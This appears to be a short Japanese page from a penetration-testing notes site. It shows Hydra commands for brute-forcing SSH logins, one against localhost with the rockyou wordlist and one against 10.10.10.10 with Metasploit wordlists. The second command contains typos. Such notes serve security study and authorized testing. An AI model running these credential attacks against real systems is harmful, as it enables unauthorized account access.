> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/ports-and-services/ssh-22/ssh-brute-force-attack.md).

# SSH - ブルートフォース攻撃

固定ユーザー名とワードリストに対するHydraを使ったSSHブルートフォーステスト。

1. 〜を使用してブルートフォース攻撃を開始する **Hydra**:

```bash
hydra -l jordan -P /path/to/wordlists/rockyou.txt ssh://127.0.0.1 -s 2222 -t 15
```

2. 有効な認証情報が見つかります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8b058977bda876e48c0a2afdcf9d0d836dcbebeb%2FPasted%20image%2020230809191938.png?alt=media" alt=""><figcaption></figcaption></figure>

**一般的なユーザー名とパスワードのワードリストを使った SSH ブルートフォース攻撃**

{% code overflow="wrap" %}

```bash
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-frameword/data/wordlists/unix_passwords.txt 10.10.10.10. -t 4 ssh
```

{% endcode %}


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